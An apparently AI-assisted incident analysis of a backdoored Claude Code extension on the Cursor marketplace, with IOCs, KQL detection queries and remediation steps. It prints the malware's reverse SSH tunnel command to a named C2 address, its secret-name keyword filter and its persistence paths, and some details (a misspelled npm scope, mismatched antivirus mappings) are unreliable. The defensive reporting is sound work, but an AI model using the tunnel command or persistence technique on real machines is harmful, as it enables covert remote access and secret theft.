Analyzing the Claude Code Extension SSH Backdoor Supply-Chain Attack

On 29 October 2026, security researchers identified a tampered release of Anthropic’s Claude Code extension hosted on the Cursor extension marketplace. Available for approximately 11 hours between 2:27 AM and 1:35 PM Pacific Daylight Time (PDT), the poisoned versions—2.1.312 and 2.1.313—introduced an unauthenticated claude code extension backdoor directly to developer workstations. The malicious extension executed an immediate multi-stage payload upon module import, harvesting local environment variable names, appending an authorized SSH key, establishing outbound reverse SSH tunnels, and installing OS-level persistence.

The incident affected up to 5,000 workstations running the Cursor editor. Official extension packages distributed through the Microsoft Visual Studio Marketplace and the npm registry under @antropic-ai/claude-code were not affected, and Anthropic confirmed that its internal development and delivery pipelines remained secure. The attack specifically exploited third-party marketplace distribution pipelines serving alternative, VS Code-compatible integrated development environments (IDEs).

This supply-chain compromise highlights significant architectural security gaps within modern editor extension ecosystems. By prepending an Immediately Invoked Function Expression (IIFE) to the extension’s minified JavaScript code, the attacker achieved zero-interaction execution within the Node.js runtime environment before the editor’s standard lifecycle hooks initialized. Because the malicious code written outside the extension container persists independently of the editor host process, traditional extension uninstallation fails to eradicate the backdoor.

Anatomy of the Cursor Marketplace Supply-Chain Compromise

The compromised builds of the Claude Code extension (identifier anthropic.claude-code) appeared on the Cursor extension marketplace during the early morning hours of 29 October 2026. Cursor, an AI-focused code editor built as a fork of the open-source Visual Studio Code codebase, maintains an independent marketplace infrastructure. Microsoft’s terms of service restrict the official Visual Studio Marketplace exclusively to Microsoft products, obligating third-party editor forks to operate or consume alternative extension repositories.

While early third-party reports from macOS security firm Phorion suggested the malicious package was also published to Open VSX, subsequent analysis by security researchers, including Ax Sharma at Manifold Security, confirmed that the distribution was isolated to Cursor’s proprietary marketplace ecosystem. The official Microsoft Visual Studio Marketplace listing and the official npm package (@antropic-ai/claude-code) remained untouched throughout the incident.

The timeline of exposure spanned 11 hours and 8 minutes, during which up to 5,000 active Cursor users installed or automatically updated to the poisoned 2.1.312 and 2.1.313 releases. According to official incident reports published by Cursor and Microsoft Threat Intelligence, the injected code was not authored by Anthropic, nor were Anthropic’s upstream build systems breached.

Upon discovering the compromised package at approximately 1:35 PM PDT, Cursor removed the affected versions, temporarily suspended its marketplace services, rotated infrastructure signing keys, and performed full registry audits before bringing the service back online. Concurrently, Cursor worked with the cloud hosting provider managing the IP address 134.209.82.225 to terminate the threat actor’s command-and-control (C2) server, effectively severing active reverse SSH tunnels and preventing outbound telemetry transmission.

Execution Lifecycle of the Pre-Initialization JavaScript Loader

Standard VS Code extension architectures require extensions to export lifecycle functions—primarily activate(context) and deactivate()—which the editor’s extension host process invokes when specific activation events occur (such as opening a workspace or executing an explicit command). The threat actor behind the Claude Code backdoor bypassed this activation gate entirely by altering the underlying module structure.

The injected payload was prepended to the top of the extension’s minified bundle (extension.js) as an Immediately Invoked Function Expression (IIFE). When Node.js loads a JavaScript file via standard require() or module import routines, the V8 JavaScript engine parses and executes all top-level statements immediately, before evaluating exports or passing control back to the calling module loader.

+-----------------------------------------------------------------------+
|                        Extension Load Phase                           |
|                                                                       |
|  Cursor Extension Host -> require('./extension.js')                   |
|         |                                                             |
|         v                                                             |
|  [Injected IIFE Payload Executes Instantly]                           |
|    ├── Imports Native Node.js Modules (fs, os, child_process, etc.)   |
|    ├── Reconnaissance Collection (OS, user, env variable names)       |
|    ├── SSH Public Key Injection (~/.ssh/authorized_keys)              |
|    ├── Reverse SSH Tunnel Launch (ssh -N -R '*:0:localhost:22')       |
|    └── Platform Persistence Configuration (plist / cron / task)       |
|         |                                                             |
|         v                                                             |
|  [Silent Error Catching & Output Suppression]                         |
|         |                                                             |
|         v                                                             |
|  Standard Module Exports Returned (activate, deactivate)              |
|         |                                                             |
|         v                                                             |
|  Normal Extension Initialization (Claude Code UI functions normally)  |
+-----------------------------------------------------------------------+

Because the payload imports built-in Node.js runtime modules—specifically child_process, fs, os, path, http, and crypto—it requires no external npm dependencies to execute system-level operations. Execution occurs with zero user interaction; launching the IDE or allowing the extension host runtime to auto-load installed modules triggers the complete attack chain.

To avoid raising operational suspicion, the injected IIFE wraps its entire execution logic in aggressive error-suppression handlers. Standard output (stdout) and standard error (stderr) streams for spawned child processes are silenced. If network socket connections fail, command-line utility calls exit with errors, or file system permissions block write operations, the exceptions are caught silently. Control flows directly to the legitimate Claude Code extension code, enabling normal UI functionality and masking malicious background processes from the developer.

Reconnaissance Harvesting and Environment Variable Profiling

Before launching tunneling binaries or writing persistence configuration files to disk, the injected loader inventories host environment metadata. It queries internal Node.js APIs and executes low-level shell commands to build a profile of the developer workstation environment.

The collected reconnaissance parameters include:

• System hostname, current system username, platform OS, and architecture (e.g., x64, arm64).
• User home directory path and active IDE working directory path.
• Global Git configuration email address, extracted via git config --global user.email.
• Public-facing IP address derived during outbound network connectivity checks.

In addition to basic system profiling, the IIFE parses the keys exposed via process.env. The script screens for sensitive string substrings within environment variable names, searching explicitly for terms including KEY, TOKEN, SECRET, PASS, AWS, and GCP. The loader retains up to 40 matching variable names for transmission.

According to forensic analysis by Microsoft Threat Intelligence, the loader transmits the matching environment variable names rather than their underlying values. While raw secret values (such as API private keys or cloud credentials) were not directly transmitted in the primary HTTP beacon, profiling secret key names provides high-value intelligence to threat actors. Inventorying variable names allows attackers to categorize developer workstations, identify high-privilege cloud roles or production management systems, and prioritize specific hosts for interactive SSH tunneling.

The collected host profile and environment variable name index are formatted into a JSON payload and scheduled for transmission via a delayed HTTP POST request targeting hxxp://134[.]209[.]82[.]225:8099/beacon. The delay ensures that local SSH key installation and tunnel creation attempts finish before network telemetry is generated.

SSH Backdoor Authorisation and Protocol Tunneling Mechanics

The Claude Code extension backdoor relies on SSH reverse port forwarding (MITRE ATT&CK technique T1572) to establish bi-directional, interactive command-and-control capabilities without requiring inbound network access through corporate firewalls or NAT boundaries.

The loader uses two distinct cryptographic identity structures:

Identity Role	Key Type & Material	Storage Location / Target	Function
Inbound Authorization	Embedded Ed25519 Public Key	~/.ssh/authorized_keys (Comment: svc-telemetry)	Authorizes interactive logins to the victim’s local user account.
Outbound Tunnel Client	Embedded Private Key (Decoded at runtime)	.stk_[0-9a-f]{10} in temporary/user directories	Authenticates the outbound reverse SSH client session to 134.209.82.225.

First, the loader checks the victim’s authorized_keys file for the string marker svc-telemetry. If absent, it appends the public key (fingerprint SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk). Next, it decodes the outbound private key and writes it to a hidden file matching the regular expression .stk_[0-9a-f]{10}, where the 10-character hexadecimal string is derived from the system hostname and user home path.

The loader then initiates the reverse tunnel by executing the local SSH binary (preferring autossh on Unix-like systems if available, and falling back to standard ssh or a background PowerShell loop on Windows). The execution command includes the following specific argument parameters:

ssh -N -R '*:0:localhost:22' -i .stk_a1b2c3d4e5 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o BatchMode=yes [email protected]

The critical tunnel flag, -N -R '*:0:localhost:22', functions as follows:

• -N: Directs the SSH client to refrain from executing remote commands on the C2 server, keeping the session limited strictly to channel forwarding.
• -R '*:0:localhost:22': Requests the remote SSH server at 134.209.82.225 to allocate a dynamic listener port (specified by port 0) bound to all network interfaces (*). Any incoming connection received on that server-allocated remote port is forwarded through the encrypted tunnel to port 22 (the local SSH daemon) on the victim workstation’s loopback interface.

+------------------------------------+              +------------------------------------+
|      Developer Workstation         |              |       Attacker C2 Infrastructure   |
|                                    |              |           (134.209.82.225)         |
|  Local SSH Daemon (Port 22)        |              |                                    |
|    ^                               |  Outbound    |  SSH Server Listener               |
|    |                               |  Encrypted   |  (Allocates Dynamic Remote Port)   |
|    | Reverse Forwarded Connection  |  SSH Tunnel  |    ^                               |
|    |                               |  =========>  |    | Incoming Attacker Traffic     |
|  Local SSH Tunnel Process          |              |    |                               |
|  (Authenticated via .stk_ key)     |              |  Attacker Interactive Session      |
+------------------------------------+              +------------------------------------+

By forcing non-interactive mode (BatchMode=yes) and bypassing host key checks (StrictHostKeyChecking=no), the malware establishes outbound connections silently. Continuous retry loops ensure that if the connection drops or network conditions change, the reverse tunnel attempts reconnection every 60 seconds.

Cross-Platform Persistence Strategies and Evasion Techniques

To survive system reboots, user logouts, and editor process terminations, the Claude Code extension backdoor drops platform-specific persistence artifacts outside the extension directory. The malware uses names disguised as legitimate monitoring software, such as SysMon and com.apple.sysmond.plist.

Target Platform	Persistence Mechanism	Primary File Artifacts	Trigger / Frequency
macOS	User LaunchAgent Plist	~/Library/LaunchAgents/com.apple.sysmond.plist ~/.config/.smt ~/.config/.smtk	Executes on user login (RunAtLoad) and maintains background state (KeepAlive).
Linux	User Crontab Entry	~/.config/.smt ~/.config/.smtk	Executes automatically at system boot (@reboot cron directive).
Windows (Primary)	Windows Scheduled Task	%USERPROFILE%\.config\smt.cmd %USERPROFILE%\.config\smtk	Configured to run under the SYSTEM account context.
Windows (Fallback)	User Startup Folder Batch File	%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd	Executes on user desktop session login if Scheduled Task creation fails.

On macOS and Linux platforms, the script .smt reconstitutes the binary identity file .smtk upon system startup if it has been deleted, then spawns the SSH reconnect loop. On Windows environments, the batch file smt.cmd (or sysmon.cmd) performs identical key re-instantiation and launches a hidden background loop.

Analysis of the Faulty macOS Remote Login Check

Establishing interactive SSH access via a reverse tunnel requires a functioning, active SSH daemon (sshd) listening on the victim’s local port 22. On macOS platforms, Remote Login (SSH) is disabled by default and requires administrative privileges (such as running sudo systemsetup -setremotelogin on) to enable.

Analysis by macOS security firm Phorion revealed a critical logic bug in the malware’s macOS execution path. The loader attempted to check whether Remote Login was disabled prior to enabling it. However, the command used to query system state required elevated permissions that the unprivileged extension host process lacked. The command failed, returning an error response.

Because the loader was programmed to catch all errors silently, this execution failure caused the script to abort the Remote Login activation sequence entirely. On macOS machines where Remote Login was off, the reverse SSH tunnel connected to the C2 server, but incoming connections targeting local port 22 were blocked because no local SSH service was listening.

Detection Engineering and Microsoft Defender XDR Coverage

Security teams hunting for historical compromises must correlate file creation events, network connections, and system persistence modifications across developer endpoints. The following tables detail threat indicators and MITRE ATT&CK technique mappings derived from public analysis by Microsoft Threat Intelligence.

Indicators of Compromise (IOCs)

Indicator Type	Value / Indicator	Description / Context
IP Address	134.209.82[.]225	Remote SSH C2 destination and beacon server.
URL Endpoint	hxxp://134[.]209[.]82[.]225:8099/beacon	HTTP POST reconnaissance reporting endpoint.
SSH Key Marker	svc-telemetry	Comment tag in authorized_keys files.
SSH Key Fingerprint	SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk	Ed25519 public key authorization fingerprint.
Package SHA-256	ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15	Malicious extension package bundle hash.
File Patterns	.smt, .smtk, smt.cmd, smtk, sysmon.cmd, com.apple.sysmond.plist, .stk_[0-9a-f]{10}	Persistence scripts, identity keys, and plist configurations.

MITRE ATT&CK Mapping & Antivirus Signatures

ATT&CK Technique	Technique Identifier	Observed Malicious Behaviour	Microsoft Antivirus Signature
SSH Authorized Keys	T1098.004	Appends Ed25519 public key to user SSH config	Trojan:JS/CredTheft.MS!MTB
Protocol Tunneling	T1572	Reverse SSH port forwarding to port 22	HackTool:MacOS/RevAnthShell.A
Cron Jobs	T1053.003	User-crontab @reboot persistence entry	Trojan:MacOS/SmtShellMal.A
Scheduled Tasks	T1053.005	Windows SysMon scheduled task creation	Trojan:MacOS/MalPlistSysmond.A

Advanced Hunting KQL Queries

Security operators can execute the following KQL queries in Microsoft Defender XDR to identify telemetry associated with this campaign.

Query 1: Detect network connections to reported C2 infrastructure

DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteIP == "134.209.82.225" or RemoteUrl has "134.209.82.225"
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteIP, RemotePort, RemoteUrl

Query 2: Detect creation of persistence files and hidden identities

DeviceFileEvents
| where Timestamp > ago(30d)
| where SHA256 == "ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15"
    or FileName in~ (".smt", ".smtk", "smt.cmd", "smtk", "sysmon.cmd", "com.apple.sysmond.plist")
    or FileName startswith ".stk_"
| project Timestamp, DeviceName, ActionType, FolderPath, FileName, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine

Query 3: Identify suspicious Windows scheduled task creation

DeviceEvents
| where Timestamp > ago(30d)
| where ActionType == "ScheduledTaskCreated"
| where AdditionalFields has "SysMon" and AdditionalFields has "smt"
| project Timestamp, DeviceName, AccountName, AdditionalFields, InitiatingProcessFileName, InitiatingProcessCommandLine

Hardening Developer Workstations and Remediation Playbook

Standard IDE extension management workflows cannot cleanly remove this backdoor. Uninstalling an extension through the Cursor UI only deletes files inside the extension’s dedicated installation folder (such as ~/.cursor/extensions/anthropic.claude-code-2.1.313/). External persistence objects dropped into ~/.config/, ~/Library/LaunchAgents/, or Windows Startup directories remain on disk and continue executing.

Security teams must follow a structured, manual remediation workflow across affected endpoints:

+-----------------------------------------------------------------------+
|                      Sequential Remediation Workflow                  |
|                                                                       |
|  1. Endpoint Network Isolation                                        |
|     └── Disconnect workstation from local networks and corporate VPNs. |
|                                                                       |
|  2. Process Termination & Memory Purging                              |
|     └── Terminate active `ssh`, `autossh`, or PowerShell retry loops.|
|                                                                       |
|  3. SSH Authorized Key Removal                                        |
|     └── Remove specific `svc-telemetry` public key lines.             |
|                                                                       |
|  4. System Persistence Eradication                                    |
|     └── Unload LaunchAgents, clear cron lines, delete Scheduled Tasks.|
|                                                                       |
|  5. File System Cleanup                                               |
|     └── Delete `.smt`, `.smtk`, `.stk_*`, and `sysmon.cmd` files.      |
|                                                                       |
|  6. Forensic Audit & Credential Rotation                             |
|     └── Audit local SSH logs for localhost logins; rotate secrets.    |
+-----------------------------------------------------------------------+

Step-by-Step Remediation Instructions

Execute the following platform-specific commands within an elevated terminal session (test commands in staging before deploying automated fleet scripts):

1. macOS Workstation Cleanup

# Unload and remove the malicious LaunchAgent
launchctl unload ~/Library/LaunchAgents/com.apple.sysmond.plist 2>/dev/null
rm -f ~/Library/LaunchAgents/com.apple.sysmond.plist

# Remove persistent payload scripts and runtime identity files
rm -f ~/.config/.smt ~/.config/.smtk ~/.stk_*

# Kill active background tunnel processes
pkill -f "134.209.82.225"
pkill -f "svc-telemetry"

2. Linux Workstation Cleanup

# Remove the crontab entry referencing .smt while preserving legitimate jobs
crontab -l | grep -v "\.smt" | crontab -

# Remove scripts and identity files
rm -f ~/.config/.smt ~/.config/.smtk ~/.stk_*

# Kill active tunnel processes
pkill -f "134.209.82.225"

3. Windows Workstation Cleanup

# Remove the malicious scheduled task
schtasks /delete /tn "SysMon" /f

# Delete Startup folder batch file and config scripts
del /f /q "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd"
del /f /q "%USERPROFILE%\.config\smt.cmd"
del /f /q "%USERPROFILE%\.config\smtk"
del /f /q "%USERPROFILE%\.stk_*"

# Stop running background instances
taskkill /FI "IMAGENAME eq ssh.exe" /F

4. SSH Authorization File Inspection

Inspect local authorization files across all platforms:

• macOS / Linux: ~/.ssh/authorized_keys
• Windows: %USERPROFILE%\.ssh\authorized_keys and C:\ProgramData\ssh\administrators_authorized_keys

Open the target file, locate the line containing the comment marker svc-telemetry, and delete that specific entry. Preserve all unrelated public keys.

5. Mandatory Credential and Session Revocation

Because the malicious loader inventoried host environment variables, assume that variable names containing key identifiers (e.g., AWS_ACCESS_KEY_ID, GCP_CREDENTIALS, GITHUB_TOKEN) are compromised. From a known-clean device, security teams must:

• Rotate all cloud service access keys, API tokens, and database passwords configured on the host.
• Revoke active OAuth sessions and SAML tokens associated with developer identities active during the exposure window.
• Check local system logs (/var/log/auth.log, /var/log/secure, or macOS unified logging via log show --predicate 'process == "sshd"') for successful authentication attempts originating from 127.0.0.1 or localhost using the svc-telemetry key. If interactive authentication is confirmed, wipe and re-image the workstation.

Architectural Takeaways for Secure Extension Ecosystem Governance

The Claude Code supply-chain incident exposes structural vulnerabilities in how modern IDEs execute third-party extensions. IDE extensions run with the complete OS user privileges of the logged-in developer. When an extension host imports a Node.js module, it executes arbitrary code natively on the host machine.

To reduce risk from extension marketplace supply-chain attacks, platform engineering and security operations teams should implement five enterprise controls:

1. Enforce Marketplace Installation Cooldowns: Configure IDE extension governance policies to introduce a mandatory delay (e.g., 7 days) before automatically updating installed extensions to newly published versions. This cooldown window allows the broader security community time to identify and pull malicious releases before enterprise endpoints receive updates.
2. Publishers Allowlisting: Restrict editor instances across enterprise fleets to installing extensions exclusively from cryptographically verified, pre-approved publisher IDs. Block direct side-loading of unverified .vsix packages.
3. Process-Level Behavioral Monitoring: Deploy Endpoint Detection and Response (EDR) rules targeting editor host processes (e.g., Cursor.exe, Code.exe, node). System alerts should fire when editor binaries spawn administrative tools (schtasks, launchctl, crontab), execute networking tools with tunneling flags (ssh -R), or modify sensitive system locations (~/.ssh/authorized_keys, ~/Library/LaunchAgents/).
4. Containerised Development Environments: Shift developer workflows into isolated container environments (such as Devcontainers or cloud-hosted remote workspaces). Running extensions inside ephemeral containers prevents malicious payloads from accessing host SSH daemons, local key stores, or parent OS startup persistence paths.
5. Network Isolation for Extension Hosts: Limit outbound workstation traffic to approved network ranges. Restrict SSH client binaries from making arbitrary outbound connections across non-standard ports or directly to unapproved public IP addresses.

Frequently asked questions

Why didn’t uninstalling the Claude Code extension remove the backdoor?

Standard IDE extension managers only delete files contained within the specific extension directory (e.g., ~/.cursor/extensions/anthropic.claude-code-2.1.313/). The malicious IIFE loader dropped external persistence artifacts outside this folder—including LaunchAgents on macOS, crontab entries on Linux, scheduled tasks on Windows, and SSH keys in authorized_keys. These dropped files continue executing independently of the editor host process.

How did the malicious loader execute without user interaction?

The threat actor prepended an Immediately Invoked Function Expression (IIFE) directly to the top of the extension’s minified bundle (extension.js). Node.js parses and executes all top-level statements as soon as the file is loaded via standard require() routines. Consequently, the payload ran immediately when the extension host process loaded the module, prior to user interaction or formal extension activation.

What specific files and directories should security teams inspect during remediation?

Inspect ~/.ssh/authorized_keys on Unix-like systems and %USERPROFILE%\.ssh\authorized_keys on Windows for entries labeled svc-telemetry. Check ~/Library/LaunchAgents/com.apple.sysmond.plist on macOS, user crontab entries on Linux, Windows Scheduled Tasks named SysMon, and Windows Startup batch files named sysmon.cmd. Inspect configuration paths for hidden files named .smt, .smtk, smt.cmd, and .stk_*.

Did the malicious package affect users of the official Microsoft Visual Studio Marketplace?

No. Microsoft Threat Intelligence and Anthropic confirmed that the malicious builds (versions 2.1.312 and 2.1.313) were published exclusively to the Cursor marketplace during an 11-hour window on 29 October 2026. Official distributions on the Microsoft Visual Studio Marketplace and the npm registry (@antropic-ai/claude-code) were not tampered with, and Anthropic’s core infrastructure was not compromised.

How can organisations prevent similar supply-chain attacks in extension marketplaces?

Organisations should enforce extension publisher allowlisting across developer fleets, implement update cooldown delays for newly released extension versions, and deploy EDR rules that flag editor processes spawning SSH processes with reverse tunneling arguments or writing to startup directories. Shifting development workflows into isolated Devcontainers also prevents extension payloads from altering host operating system persistence files.

Related reading

• Cursor Marketplace Attack Backdoors Anthropic Extension

Sources and further reading

• Inside a malicious Claude Code-branded extension and its persistent SSH backdoor | Microsoft Security Blog (Microsoft Security Blog)
• Claude Code extension poisoned with persistent SSH backdoor – Help Net Security (Help Net Security)

This article was drafted with AI assistance from the publicly cited sources and passed automated checks for structure and sourcing. Verify critical details against the vendor advisories linked above before acting.